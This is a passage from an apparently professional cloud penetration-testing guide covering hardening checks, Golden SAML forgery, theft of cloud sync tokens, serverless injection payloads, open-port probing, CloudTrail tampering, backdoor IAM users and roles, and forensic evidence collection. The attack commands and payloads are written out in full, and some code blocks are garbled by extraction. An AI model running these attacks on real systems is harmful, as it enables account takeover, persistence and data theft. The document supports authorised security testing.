# Check IAM policy (look for allUsers or allAuthenticatedUsers)
```

```
gsutil iam get gs://<bucket-name>
```

```
# allUsers = anyone on internet (CRITICAL)
```

```
# allAuthenticatedUsers = any Google account worldwide (HIGH)

# Check bucket ACL
gsutil acl get gs://<bucket-name>

# Test anonymous Listing
gsutil ls gs://<bucket-name> -u anonymous
curl -s "https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

# Download a file without authentication
gsutil cp gs://<bucket-name>/sensitive_file.sql ./
curl -O "https://storage.googleapis.com/<bucket-name>/sensitive_file.sql"

# Test write access
echo "pentest_probe" > probe.txt
gsutil cp probe.txt gs://<bucket-name>/pentest_probe.txt

# Check Object Versioning
gsutil versioning get gs://<bucket-name>

# Check audit Logging
gcloud storage buckets describe gs://<bucket-name> \
  --format="json(iamConfiguration,logging)"

# Run Prowler GCP checks
prowler gcp \
  --project-ids <project-id> \
  --checks \
  gcs_bucket_public_access \
  gcs_bucket_default_encryption_customer_managed_key \
  gcs_bucket_log_enabled \
  gcs_bucket_object_versioning
```

Phase 8 — Cloud Security Hardening Verification

Module ID: CSEC-HARDEN **Objective:** Verify that key security controls are in place across the assessed cloud environment. Unlike attack-focused phases, this phase validates the defensive posture — checking encryption, logging, monitoring, and compliance alignment. Findings here inform the remediation roadmap.

CSEC-HARDEN-01 — CloudTrail and Monitoring Coverage Verification

```
# Verify CloudTrail in all regions
```

```
aws cloudtrail describe-trails --include-shadow-trails \  
  --query "trailList[*].{  
    Name:Name,  
    MultiRegion:IsMultiRegionTrail,  
    LogValidation:LogFileValidationEnabled,  
    GlobalEvents:IncludeGlobalServiceEvents,  
    IsLogging:IsLogging  
  }" \  
  --output table
```

```
# Check required CIS Benchmark CloudWatch alarms
```

```
aws cloudwatch describe-alarms \  
  --query "MetricAlarms[*].{Name:AlarmName,State:StateValue,Metric:MetricName}" \  
  --output table
```

```
# Check for root account usage alarm (CIS 4.3)
```

```
aws cloudwatch describe-alarms \  
  --query "MetricAlarms[?contains(AlarmName,'root')] ||  
contains(MetricName,'RootAccountUsage')].AlarmName" \  
  --output text
```

```
# Run Prowler CIS Benchmark 4.x monitoring checks
```

```
prowler aws --compliance cis_1.5_aws \  
  --checks \  
  cloudtrail_multi_region_enabled \  
  cloudtrail_log_file_validation_enabled \  
  cloudwatch_log_group_retention_policy_specific_days_enabled \  
  cloudwatch_log_metric_filter_root_usage \  
  cloudwatch_log_metric_filter_iam_policy_changes \  
  cloudwatch_log_metric_filter_cloudtrail_configuration_changes \  
  cloudwatch_log_metric_filter_security_group_changes \  
  cloudwatch_log_metric_filter_unauthorized_api_calls \  
  guardduty_is_enabled \  
  securityhub_enabled \  
  --output-formats html json \  
  --output-path ./monitoring-checks/
```

```
# Verify GuardDuty in ALL regions
```

```
for region in $(aws ec2 describe-regions \  
  --query "Regions[].RegionName" --output text); do  
  echo -n "Region: $region - GuardDuty: "  
  aws guardduty list-detectors --region "$region" \  
done
```

```
--query "DetectorIds[0]" --output text 2>/dev/null || echo "NOT ENABLED"
done

# Verify Security Hub
aws securityhub describe-hub
aws securityhub get-enabled-standards
```

CSEC-HARDEN-02 — Encryption at Rest and in Transit Verification

```
# Check S3 bucket encryption across all buckets
for bucket in $(aws s3 ls | awk '{print $3}'); do
    echo -n "Bucket: $bucket - Encryption: "
    aws s3api get-bucket-encryption --bucket "$bucket" \
        --query
"ServerSideEncryptionConfiguration.Rules[0].ApplyServerSideEncryptionByDefault.SSEAl
gorithm" \
        --output text 2>/dev/null || echo "NONE (UNENCRYPTED)"
done

# Check RDS encryption
aws rds describe-db-instances \
    --query "DBInstances[*].{
        Name:DBInstanceIdentifier,
        Engine:Engine,
        Encrypted:StorageEncrypted,
        MultiAZ:MultiAZ
    }" \
    --output table

# Check EBS volume encryption
aws ec2 describe-volumes \
    --query "Volumes[*].{VolumeId:VolumeId,Encrypted:Encrypted,State:State}" \
    --output table

# Check account-level EBS encryption default
aws ec2 get-ebs-encryption-by-default
# Should return: EbsEncryptionByDefault: true

# Test TLS configuration of cloud-hosted endpoints
testssl.sh --fast https://target-app.example.com
# Or using nmap:
nmap --script ssl-enum-ciphers -p 443 target-app.example.com
```

```
# Run Prowler encryption checks
prowler aws --checks \
  s3_bucket_default_encryption \
  rds_instance_storage_encrypted \
  ec2_ebs_volume_encryption_enabled \
  ec2_ebs_default_encryption \
  kms_cmk_rotation_enabled \
  dynamodb_table_encryption_enabled \
  --output-formats html json \
  --output-path ./encryption-checks/
```

✅ Encryption Fully Implemented:

All S3 buckets: Encryption = aws:kms

All RDS instances: StorageEncrypted = True

All EBS volumes: Encrypted = True

EBS encryption by default: True

TLS: Only TLS 1.2 and 1.3 with strong cipher suites

❌ Encryption Gaps:

Bucket: targetcompany-legacy-data - Encryption: NONE (UNENCRYPTED)

RDS: legacy-mysql-01 StorageEncrypted: false

TLS 1.0 and 1.1 enabled. Weak ciphers: RC4, DES-CBC3-SHA found.

CSEC-HARDEN-03 — Full Multi-Cloud Automated Assessment

```
# Full Prowler AWS assessment
prowler aws \
  --profile <aws-profile> \
  --output-formats html json csv \
  --output-path ./final-reports/aws/ \
  -z # Include pass results (not just failures)
```

```
# Full Prowler Azure assessment
prowler azure \
  --az-cli-auth \
  --subscription-ids <sub-id-1> <sub-id-2> \
  --output-formats html json csv \
  --output-path ./final-reports/azure/
```

```
# Full Prowler GCP assessment
prowler gcp \
  --project-ids <project-id-1> <project-id-2> \
```



```
--output-formats html json csv \  
--output-path ./final-reports/gcp/  
  
# Full Prowler Kubernetes assessment  
prowler kubernetes \  
  --services etcd apiserver \  
  --output-formats html json \  
  --output-path ./final-reports/k8s/  
  
# ScoutSuite visual reports  
pip install scoutsuite --break-system-packages  
scout aws --profile <aws-profile> --report-dir ./scoutsuite-aws/  
scout azure --cli --subscription-ids <subscription-id> --report-dir ./scoutsuite-azure/  
scout gcp --user-account --project-id <project-id> --report-dir ./scoutsuite-gcp/  
  
# CIS Benchmark aligned assessments  
prowler aws --compliance cis_1.5_aws \  
  --output-formats html json --output-path ./cis-aws/  
  
prowler azure --compliance cis_2.0_azure \  
  --output-formats html json --output-path ./cis-azure/  
  
prowler gcp --compliance cis_3.0_gcp \  
  --output-formats html json --output-path ./cis-gcp/
```

Phase 9 — Advanced Cloud Identity Attacks

Module ID: `CSEC-IDENTITY` **Objective:** Cover sophisticated identity-based attacks targeting the trust fabric of cloud identity systems — SAML federation, OAuth token chains, cross-cloud trust relationships, and service-to-service authentication abuse. These attacks are the hardest to detect because they exploit legitimate authentication mechanisms rather than bypassing them.

CSEC-IDENTITY-01 — Golden SAML Attack

Objective: Demonstrate the Golden SAML attack, where a stolen ADFS token-signing certificate is used to forge SAML assertions for any user — including non-existent users — and authenticate to any SAML-federated cloud service with arbitrary privilege levels, surviving password resets and account deactivation.

Pre-conditions

- Administrative access to the on-premises ADFS server (via Domain Admin compromise).

- Target organisation uses ADFS with SAML 2.0 federation to cloud services.

⚡ Time-Saving Analysis

Status	Meaning
Forged token accepted by AWS	Permanent admin access. Survives all password resets and MFA changes.
Forged token for non-existent user accepted	Proves the attack is purely signature-based, not identity-based.
Token rejected	ADFS certificate not matching, or SP rejects unknown issuers.

Method 1 — Extract the ADFS Token-Signing Certificate

```
# On ADFS server (PowerShell as Administrator)

# Method 1: Using ADFS PowerShell cmdlets
Import-Module ADFS
Get-AdfsCertificate -CertificateType Token-Signing | `
    Select-Object -ExpandProperty Certificate | `
    Export-Certificate -FilePath "C:\temp\adfs_token_signing.cer" -Type CERT

# Export with private key (requires knowing the thumbprint)
certutil -exportpfx -p "export_password" My <certificate-thumbprint>
"C:\temp\adfs_signing.pfx"

# Get the certificate thumbprint
Get-AdfsCertificate -CertificateType Token-Signing | `
    Select-Object -Property Thumbprint, Certificate

# Method 2: Export via Mimikatz (from compromised ADFS server)
# mimikatz.exe "crypto::certificates /systemstore:local_machine /store:My /export"
exit

# Get the ADFS Issuer URI (needed for forging)
Get-AdfsProperties | Select-Object -Property Identifier, IdTokenIssuer
# Typically: http://adfs.company.com/adfs/services/trust
```

Method 2 — Forge SAML Tokens with ADFSpoof

```
# Install ADFSpoof on attacker machine
git clone https://github.com/fireeye/ADFSpoof.git
cd ADFSpoof
pip3 install -r requirements.txt --break-system-packages
```

Forge SAML token for an AWS Administrator role

```
python3 ADFSpoof.py \  
  -b adfs_signing.pfx \  
  -s https://adfs.target.com/adfs/services/trust \  
  -p export_password \  
  --assertionid "_forge_$(date +%s)" \  
  --nameid "administrator@target.com" \  
  --attribute  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname" \  
  "administrator" \  
  --attribute "https://aws.amazon.com/SAML/Attributes/Role" \  
    "arn:aws:iam::123456789012:role/ADFS-Admin,arn:aws:iam::123456789012:saml-  
provider/ADFS" \  
  --attribute "https://aws.amazon.com/SAML/Attributes/RoleSessionDuration" "43200"  
\  
  -o forged_saml_token.xml
```

Forge token for Office 365 / Azure AD Global Administrator

```
python3 ADFSpoof.py \  
  -b adfs_signing.pfx \  
  -s https://adfs.target.com/adfs/services/trust \  
  -p export_password \  
  --nameid "globaladmin@target.com" \  
  --nameidformat "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" \  
  --attribute "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" \  
    "globaladmin@target.com" \  
  --attribute "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" \  
    "GlobalAdministrator" \  
  -o forged_o365_token.xml
```

Forge token for a user that does NOT exist in Active Directory

(Most powerful demonstration of how Golden SAML works)

```
python3 ADFSpoof.py \  
  -b adfs_signing.pfx \  
  -s https://adfs.target.com/adfs/services/trust \  
  -p export_password \  
  --nameid "phantom.admin@target.com" \  
  --attribute "https://aws.amazon.com/SAML/Attributes/Role" \  
    "arn:aws:iam::123456789012:role/ADFS-Admin,arn:aws:iam::123456789012:saml-  
provider/ADFS" \  
  -o forged_phantom_token.xml
```

```
# phantom.admin@target.com does not exist in AD but AWS will accept this token
# because it validates the CRYPTOGRAPHIC SIGNATURE, not the user's existence in AD
```

Method 3 — Use the Forged Token to Authenticate

```
# Step 1: Base64-encode the forged SAML token
SAML_BASE64=$(base64 -w 0 forged_saml_token.xml)

# Step 2: Exchange SAML assertion for temporary AWS credentials (12 hours max)
aws sts assume-role-with-saml \
  --role-arn "arn:aws:iam::123456789012:role/ADFS-Admin" \
  --principal-arn "arn:aws:iam::123456789012:saml-provider/ADFS" \
  --saml-assertion "$SAML_BASE64" \
  --duration-seconds 43200

# Step 3: Export credentials and verify
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FQoGZXIvYXdzEjL..."
aws sts get-caller-identity
aws iam list-users
aws s3 ls
```

✓ Golden SAML Successful:

```
{
  "UserId": "AROAIOSFODNN7EXAMPLE:phantom.admin@target.com",
  "Account": "123456789012",
  "Arn": "arn:aws:sts::123456789012:assumed-role/ADFS-Admin/phantom.admin@target.com"
}
```

`phantom.admin@target.com` does NOT exist in Active Directory. AWS accepted the forged SAML token. The attacker has permanent admin access that survives all password resets.

✗ **Not Vulnerable:** ADFS certificate stored in HSM — private key cannot be exported. Forged token rejected because signature does not validate.

CSEC-IDENTITY-02 — Man-in-the-Cloud (MitC) Attack

Objective: Demonstrate the MitC attack where an attacker with local OS access replaces a cloud sync OAuth token stored on disk, gaining persistent cloud account access without knowing the password — surviving even after a password change.

Method 1 — Steal OneDrive Sync Token (Windows)

```

# Locate the OneDrive sync database
dir "%LOCALAPPDATA%\Microsoft\OneDrive\settings\Business1\"
# Key files:
# ClientPolicy*.ini – contains Sync Client ID and account details
# global.ini – contains tenant and account mapping

# Find the OAuth refresh token in Windows Credential Manager
cmdkey /list | findstr "OneDrive"
reg query "HKCU\Software\Microsoft\OneDrive" /s

# Extract via PowerShell Credential Manager
[System.Net.NetworkCredential]::new('', `
    (Get-StoredCredential -Target 'OneDrive Standalone' | `
    Select-Object -ExpandProperty Password)).Password

# On attacker machine: back up own token, replace with victim's token
copy "%LOCALAPPDATA%\Microsoft\OneDrive\settings\Business1\ClientPolicy.ini" `
    ClientPolicy.ini.backup
copy victim_ClientPolicy.ini `
    "%LOCALAPPDATA%\Microsoft\OneDrive\settings\Business1\ClientPolicy.ini"

# Restart OneDrive (will sync victim's files to attacker's machine)
taskkill /IM OneDrive.exe /F && start OneDrive.exe

```

Method 2 — Steal Google Drive Sync Token

```

# Locate Google Drive credential database
# Windows: %LOCALAPPDATA%\Google\Drive\user_default\
# macOS: ~/Library/Application Support/Google/Drive/user_default/

# List credential files
dir "%LOCALAPPDATA%\Google\Drive\user_default\"

# Extract refresh token from SQLite database
python3 -c "
import sqlite3
conn = sqlite3.connect('credentials_stolen')
cursor = conn.cursor()
cursor.execute('SELECT * FROM config')
for row in cursor.fetchall():
    print(row)
"

# Use stolen refresh token to get a new access token

```

```
curl -s -X POST "https://oauth2.googleapis.com/token" \  
  -d "client_id=<google-client-id>" \  
  -d "client_secret=<google-client-secret>" \  
  -d "refresh_token=<stolen-refresh-token>" \  
  -d "grant_type=refresh_token"  
# Returns a new access_token valid for 1 hour  
  
# Access victim's Google Drive  
curl -s "https://www.googleapis.com/drive/v3/files?pageSize=100" \  
  -H "Authorization: Bearer <new-access-token>"  
  
# Download a specific file  
curl -s "https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \  
  -H "Authorization: Bearer <new-access-token>" \  
  -o stolen_document.docx
```

CSEC-IDENTITY-03 — Cross-Cloud OIDC Trust Misconfiguration

Objective: Identify and exploit overly permissive OIDC-based trust relationships where misconfigured `sub` claim conditions allow any GitHub Actions workflow or GCP workload to assume AWS IAM roles.

Method — OIDC Trust Analysis

```
# List all OIDC providers in the AWS account  
aws iam list-open-id-connect-providers  
  
# Get configuration of each OIDC provider  
aws iam get-open-id-connect-provider \  
  --open-id-connect-provider-arn <provider-arn>  
# Check: ClientIDList and ThumbprintList  
  
# Get the role trust policy to check sub claim conditions  
aws iam get-role --role-name GitHubActionsRole \  
  --query "Role.AssumeRolePolicyDocument" --output json  
  
# SECURE condition (repo-specific):  
# "token.actions.githubusercontent.com:sub": "repo:target-org/specific-  
repo:ref:refs/heads/main"  
  
# VULNERABLE condition (wildcard = any GitHub repo can assume this role):  
# "token.actions.githubusercontent.com:sub": "repo:*"   
# OR no sub condition at all  
  
# Find all IAM roles with external trust policies
```

```

aws iam list-roles \
  --query "Roles[].[Name:RoleName,Trust:AssumeRolePolicyDocument]" \
  --output json | python3 -c "
import json, sys
roles = json.load(sys.stdin)
for role in roles:
    trust = json.loads(json.dumps(role['Trust']))
    for stmt in trust['Statement']:
        principal = stmt.get('Principal', {})
        if isinstance(principal, dict):
            aws_p = principal.get('AWS', '')
            fed_p = principal.get('Federated', '')
            if aws_p and '123456789012' not in str(aws_p):
                print(f'EXTERNAL ACCOUNT TRUST: Role={role["Name"]} Principal=
{aws_p}')
            if fed_p:
                print(f'FEDERATED TRUST: Role={role["Name"]} Federated={fed_p}')
        elif principal == '*':
            print(f'WILDCARD TRUST (CRITICAL): Role={role["Name"]}')
"

# Test OIDC trust from GitHub Actions (simulated)
# In a GitHub Actions workflow with OIDC enabled:
# Request JWT from GitHub OIDC endpoint
curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# Exchange JWT for AWS credentials
aws sts assume-role-with-web-identity \
  --role-arn "arn:aws:iam::123456789012:role/GitHubActionsRole" \
  --role-session-name "GitHubActions" \
  --web-identity-token "<jwt-from-above>"

# Check GCP Workload Identity Federation
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=<pool-id> --location=global

```

Phase 10 — Serverless Security Testing

Module ID: `CSEC-SERVERLESS` **Objective:** Focus specifically on serverless function security beyond IAM testing. Serverless environments process event data from dozens of sources (API Gateway, SQS, SNS,

S3 events, DynamoDB Streams, Cognito triggers), each representing a distinct injection vector. This phase tests all event injection possibilities, dependency vulnerabilities, and runtime misconfigurations.

CSEC-SERVERLESS-01 — Lambda Event Injection Testing

(See CSEC-AWS-03 Method 2 for full Lambda injection methodology — cross-reference)

Additional Event Source Injection Vectors

```
# Test injection via SQS event (if Lambda is triggered by SQS)
aws sqs send-message \
  --queue-url https://sqs.us-east-1.amazonaws.com/123456789012/target-queue \
  --message-body '{"action": "lookup", "id": "1 OR 1=1--"}'

# Test injection via S3 event notification (if Lambda processes S3 uploads)
# Create a file with a malicious name and upload it
echo "test" > "$(echo -n "../etc/passwd" | python3 -c 'import sys;
print(sys.stdin.read())')"
aws s3 cp malicious_filename.txt s3://<upload-bucket>/

# Test injection via SNS (if Lambda is an SNS subscriber)
aws sns publish \
  --topic-arn arn:aws:sns:us-east-1:123456789012:target-topic \
  --message '{"username": "admin"\' OR \'\'1\'\'=\'\'1\'\'--"}'

# Test injection via DynamoDB Streams (if Lambda processes stream events)
aws dynamodb put-item \
  --table-name <table-name> \
  --item '{"id": {"S": "1\'\' OR \'\'1\'\'=\'\'1\'\'"}, "data": {"S":
"injection_test"}}'
```

CSEC-SERVERLESS-02 — Lambda Dependency Vulnerability Scanning

Objective: Download Lambda function source code, extract the dependency manifest, and scan all third-party libraries for known CVEs.

Method — Full Dependency Audit

```
# Step 1: Download the Lambda deployment package
CODE_URL=$(aws lambda get-function \
  --function-name <function-name> \
  --query "Code.Location" --output text)
wget -O function-package.zip "$CODE_URL"
```


Step 2: Extract the package

```
mkdir -p ./function-analysis/  
unzip function-package.zip -d ./function-analysis/  
ls -la ./function-analysis/
```

Step 3: Check Python dependencies

```
cat ./function-analysis/requirements.txt  
cat ./function-analysis/Pipfile.lock 2>/dev/null
```

Step 4: Scan Python dependencies

```
pip install pip-audit --break-system-packages  
pip-audit -r ./function-analysis/requirements.txt \  
  --output json > python-audit-results.json  
cat python-audit-results.json | python3 -m json.tool
```

Step 5: Check Node.js dependencies

```
cat ./function-analysis/package.json  
cat ./function-analysis/package-lock.json 2>/dev/null
```

Step 6: Scan Node.js dependencies

```
cd ./function-analysis/ && npm audit --json > npm-audit-results.json  
cat npm-audit-results.json | python3 -m json.tool
```

Step 7: Scan with Snyk for comprehensive results

```
npm install -g snyk  
snyk test ./function-analysis/ --json > snyk-results.json
```

Step 8: Scan with Trivy

```
trivy fs ./function-analysis/ --severity CRITICAL,HIGH  
trivy fs ./function-analysis/ --format json --output trivy-results.json
```

Step 9: Search for hardcoded secrets in the function code

```
cd ./function-analysis/  
  
grep -rn "AKIA\|ASIA" . \  
  --include="*.py" --include="*.js" --include="*.ts" --include="*.env"  
  
grep -rniE "password|secret|api_key|api-  
key|token|credential|private_key|access_key" . \  
  --include="*.py" --include="*.js" --include="*.json" \  
  --include="*.yaml" --include="*.yml" --include="*.env" --include="*.config" | \  
grep -v "node_modules" | grep -v ".pyc"
```

```
grep -rniE "mongodb://|postgresql://|mysql://|redis://|jdbc:" . \
  --include="*.py" --include="*.js" --include="*.json"

grep -rn "BEGIN PRIVATE KEY\\|BEGIN RSA PRIVATE KEY\\|BEGIN EC PRIVATE KEY" .
```

Step 10: Run TruffleHog on extracted directory

```
trufflehog filesystem ./function-analysis/ --json | python3 -m json.tool
```

✓ Critical Findings:

```
{
  "dependencies": [
    {
      "name": "PyYAML",
      "version": "5.3.1",
      "vulns": [{"id": "PYSEC-2021-142", "description": "Arbitrary code execution
via yaml.load()"}]
    }
  ]
}
```

```
./handlers/database.py:23: DB_PASSWORD = "hardcoded_production_password"
./config/settings.py:45: STRIPE_SECRET_KEY = "sk_live_XXXXXXXXXXXXXXXXXX"
```

Phase 11 — Network Security Testing in Cloud

Module ID: CSEC-NETWORK **Objective:** Assess network security architecture — testing for overly permissive security groups, missing network segmentation, exposed management ports, missing VPC Flow Logs, and misconfigured VPC peering relationships.

CSEC-NETWORK-01 — Security Group Misconfiguration Testing

(See CSEC-COMPUTE-01 Method 3 for core security group enumeration)

Additional Network Testing

```
# Test SSH access on exposed port 22
for user in ubuntu ec2-user admin root centos; do
  echo "Trying $user@<public-ip>"
  ssh -o ConnectTimeout=5 -o BatchMode=yes -o StrictHostKeyChecking=no \
    -i /dev/null "$user@<public-ip>" 2>&1 | \
    grep -E "Permission denied|key"
done
```

```

# Test RDP on port 3389
nmap -sV -p 3389 --script rdp-enum-encryption <public-ip>

# Test exposed database ports
mysql -h <public-ip> -u root -p --connect-timeout=5 2>&1
psql -h <public-ip> -U postgres -c "SELECT version();" --timeout=5 2>&1
mongo --host <public-ip> --port 27017 --eval "db.adminCommand({listDatabases:1})"
2>&1

# Test Redis exposure (no auth = full data access)
redis-cli -h <public-ip> -p 6379 ping
redis-cli -h <public-ip> -p 6379 info server
redis-cli -h <public-ip> -p 6379 keys "*"

# Test Elasticsearch exposure
curl -s "http://<public-ip>:9200/_cluster/health?pretty"
curl -s "http://<public-ip>:9200/_cat/indices"
curl -s "http://<public-ip>:9200/_cat/nodes"

# Test Kubernetes API server (port 6443)
curl -k "https://<public-ip>:6443/api/v1/namespaces"
curl -k "https://<public-ip>:6443/api/v1/nodes"

```

CSEC-NETWORK-02 — VPC Flow Logs and Network Segmentation

```

# Check VPC Flow Logs for all VPCs
for vpc in $(aws ec2 describe-vpcs --query "Vpcs[].VpcId" --output text); do
    echo -n "VPC: $vpc - Flow Logs: "
    aws ec2 describe-flow-logs \
        --filter "Name=resource-id,Values=$vpc" \
        --query "FlowLogs[0].{Status:FlowLogStatus,Destination:LogDestinationType}" \
        --output text 2>/dev/null || echo "NONE (No flow logs enabled)"
done

# Check all flow log configurations
aws ec2 describe-flow-logs --output table \
    --query "FlowLogs[*].{
        FlowLogId:FlowLogId,
        ResourceId:ResourceId,
        Status:FlowLogStatus,
        Destination:LogDestinationType,
        DestinationARN:LogDestination,
        TrafficType:TrafficType
    }"

```

```

}"
# TrafficType should be ALL (not just REJECT or ACCEPT)

# Check VPC peering connections
aws ec2 describe-vpc-peering-connections \
  --query "VpcPeeringConnections[*].{
    ID:VpcPeeringConnectionId,
    Status:Status.Code,
    Requester:RequesterVpcInfo.VpcId,
    Acceptor:AcceptorVpcInfo.VpcId,
    RequesterAccount:RequesterVpcInfo.OwnerId,
    AcceptorAccount:AcceptorVpcInfo.OwnerId
  }" \
  --output table

# Check Transit Gateway configurations
aws ec2 describe-transit-gateways --output table \
  --query "TransitGateways[*].
{ID:TransitGatewayId,State:State,Description:Description}"
aws ec2 describe-transit-gateway-attachments --output table

# Run Prowler network checks
prowler aws --checks \
  vpc_flow_logs_enabled \
  vpc_peering_routing_tables_enabled \
  vpc_subnet_no_public_ip_by_default \
  ec2_instance_no_public_ip \
  --output-formats html json \
  --output-path ./network-findings/

```

Phase 12 — Cloud Incident Response & Evidence Preservation

Module ID: CSEC-IR **Objective:** Cover attacker evasion techniques and verify that logging and detection controls would catch a real attacker. Also document forensic evidence preservation commands used during incident response.

CSEC-IR-01 — CloudTrail Evasion and Persistence Testing

```

# Test CloudTrail stop (should be blocked by SCP or trigger an alarm)
aws cloudtrail stop-logging --name <trail-name>

# Check if stop attempt is captured in CloudWatch

```

```

aws logs describe-metric-filters \
  --query "metricFilters[?filterPattern=='{ ($.eventName = StopLogging) }']" \
  --output table

# Attempt to delete CloudTrail (should fail or trigger Critical alert)
aws cloudtrail delete-trail --name <trail-name>

# Attempt to delete the S3 bucket with CloudTrail Logs
aws s3 rb s3://<cloudtrail-log-bucket> --force
# Should fail if bucket has Object Lock and MFA delete enabled

# Create a backdoor IAM admin user (persistence technique)
aws iam create-user --user-name "system-monitor-svc"
aws iam attach-user-policy \
  --user-name "system-monitor-svc" \
  --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name "system-monitor-svc"
# In a secure environment this triggers GuardDuty:
Persistence:IAMUser/UserPermissions

# Create a cross-account backdoor role
aws iam create-role \
  --role-name "SystemHealthCheckRole" \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::<attacker-account-id>:root"},
      "Action": "sts:AssumeRole"
    }]
  }'
aws iam attach-role-policy \
  --role-name "SystemHealthCheckRole" \
  --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Verify GuardDuty detection
DETECTOR_ID=$(aws guardduty list-detectors --query "DetectorIds[0]" --output text)
aws guardduty list-findings \
  --detector-id "$DETECTOR_ID" \
  --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}' \
  --query "FindingIds" --output text

# Get details of high-severity findings

```

```
aws guardduty get-findings \
  --detector-id "$DETECTOR_ID" \
  --finding-ids $(aws guardduty list-findings \
    --detector-id "$DETECTOR_ID" \
    --query "FindingIds[*]" --output text) \
  --query "Findings[*]".
{Title:Title,Severity:Severity,Type:Type,CreatedAt:CreatedAt}" \
  --output table
```

CSEC-IR-02 — Cloud Forensic Evidence Preservation

Generate and save complete IAM credential report

```
aws iam generate-credential-report
```

```
sleep 5
```

```
aws iam get-credential-report \
  --query "Content" --output text | base64 -d \
  > iam_credential_report_$(date +%Y%m%d).csv
```

Export all IAM state

```
aws iam list-users --output json > forensics_iam_users.json
```

```
aws iam list-roles --output json > forensics_iam_roles.json
```

```
aws iam list-policies --scope Local --output json > forensics_iam_policies.json
```

Capture CloudTrail events for the last 24 hours

```
aws cloudtrail lookup-events \
  --start-time $(date -d "24 hours ago" --iso-8601=seconds)Z \
  --end-time $(date --iso-8601=seconds)Z \
  --output json > forensics_cloudtrail_24h.json
```

Capture console login events for the last 7 days

```
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time $(date -d "7 days ago" --iso-8601=seconds)Z \
  --output json > forensics_console_logins.json
```

Create forensic EBS snapshot of a potentially compromised volume

```
aws ec2 create-snapshot \
  --volume-id <volume-id> \
  --description "Forensic snapshot $(date +%Y%m%d_%H%M%S) - DO NOT DELETE" \
  --tag-specifications \
    'ResourceType=snapshot,Tags=[{Key=Purpose,Value=ForensicEvidence},
{Key=CreatedBy,Value=SecurityTeam}]'
```

```
# Capture VPC Flow Log data for the last 24 hours
LOG_GROUP=$(aws ec2 describe-flow-logs \
  --filter "Name=resource-id,Values=<vpc-id>" \
  --query "FlowLogs[0].LogGroupName" --output text)

aws logs filter-log-events \
  --log-group-name "$LOG_GROUP" \
  --start-time $((($(date +%s) - 86400))000 \
  --end-time $((($(date +%s)))000 \
  --output json > forensics_vpc_flow_logs.json

# Capture complete resource inventory at time of assessment
aws ec2 describe-instances --output json > forensics_ec2_state.json
aws s3api list-buckets --output json > forensics_s3_buckets.json
aws ec2 describe-security-groups --output json > forensics_security_groups.json
aws lambda list-functions --output json > forensics_lambda_functions.json
aws rds describe-db-instances --output json > forensics_rds_instances.json

# Create compressed archive of all forensic evidence
tar -czf "cloud_forensic_evidence_$(date +%Y%m%d_%H%M%S).tar.gz" \
  forensics_*.json \
  forensics_*.csv \
  iam_credential_report_*.csv

echo "Evidence preserved: cloud_forensic_evidence_$(date +%Y%m%d_%H%M%S).tar.gz"
```

Cloud Security Command Cheat Sheet

 **Master Reference** — Copy-paste commands for rapid use during engagements. All commands are production-safe unless explicitly marked with .

AWS — Identity & IAM

```
# Who am I?
aws sts get-caller-identity

# Store account ID
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)

# List all IAM principals
aws iam list-users --output table
aws iam list-roles --output table
```

```
aws iam list-groups --output table

# What policies does the current user have?
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>    # inline

# Get a policy document
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Simulate permissions
aws iam simulate-principal-policy \
  --policy-source-arn <my-arn> \
  --action-names s3:GetObject iam:CreateUser ec2:DescribeInstances

# Assume a role
aws sts assume-role \
  --role-arn <role-arn> \
  --role-session-name pentest-session

# ⚠️ Create backdoor admin user (proof of compromise – confirm scope first)
aws iam create-user --user-name backdoor-admin
aws iam attach-user-policy --user-name backdoor-admin \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backdoor-admin

# PMapper privilege escalation graph
pmapper graph create
pmapper query "who can become an admin"
pmapper analysis --output-type text
```

AWS — Storage & Compute

```
# List all S3 buckets
aws s3 ls

# List bucket contents (authenticated)
aws s3 ls s3://<bucket> --recursive --human-readable

# List bucket contents (unauthenticated – public access test)
aws s3 ls s3://<bucket> --no-sign-request

# Download all bucket contents (unauthenticated)
aws s3 sync s3://<bucket> ./local-copy --no-sign-request
```



```

# Check bucket security settings
aws s3api get-public-access-block --bucket <bucket>
aws s3api get-bucket-acl --bucket <bucket>
aws s3api get-bucket-policy --bucket <bucket> --query Policy --output text |
python3 -m json.tool
aws s3api get-bucket-encryption --bucket <bucket>
aws s3api get-bucket-logging --bucket <bucket>
aws s3api get-bucket-versioning --bucket <bucket>
aws s3api get-bucket-cors --bucket <bucket>

# List EC2 instances
aws ec2 describe-instances \
    --query "Reservations[].Instances[]."
{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn}" \
    --output table

# Check security groups for open ports
aws ec2 describe-security-groups --output json | python3 -c "
import json, sys
sgs = json.load(sys.stdin)
for sg in sgs['SecurityGroups']:
    for rule in sg.get('IpPermissions', []):
        if any(r.get('CidrIp') == '0.0.0.0/0' for r in rule.get('IpRanges', [])):
            print(f'OPEN: {sg["GroupName"]} Port {rule.get("FromPort")}-'
{rule.get("ToPort")}')
"

# List Lambda functions and environment variables
aws lambda list-functions --output table
aws lambda get-function-configuration --function-name <name>

# Download Lambda source code
